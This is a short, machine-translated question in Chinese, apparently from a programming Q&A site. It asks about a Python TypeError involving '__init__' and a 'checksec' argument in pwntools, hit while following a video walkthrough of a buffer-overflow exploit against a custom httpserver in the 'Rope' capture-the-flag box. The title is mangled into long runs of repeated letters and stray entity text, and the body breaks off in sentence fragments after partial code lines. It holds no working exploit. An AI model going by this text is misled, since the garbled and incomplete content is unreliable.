Python TypeError:uuu init_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu；检查SEC和x27；

我正在看这段视频（Ippsec的Rope CTF），他定义了checksec参数。 该漏洞是httpserver（自定义服务器）中的缓冲区溢出。第1步工作得非常好第一个错误发生在步骤2的elf=elf（“./httpserver”，checksec=False）和libc=elf（“./libc.so.6.32.self”，checksec=False）

来自pwn导入的

我想模块

有一个
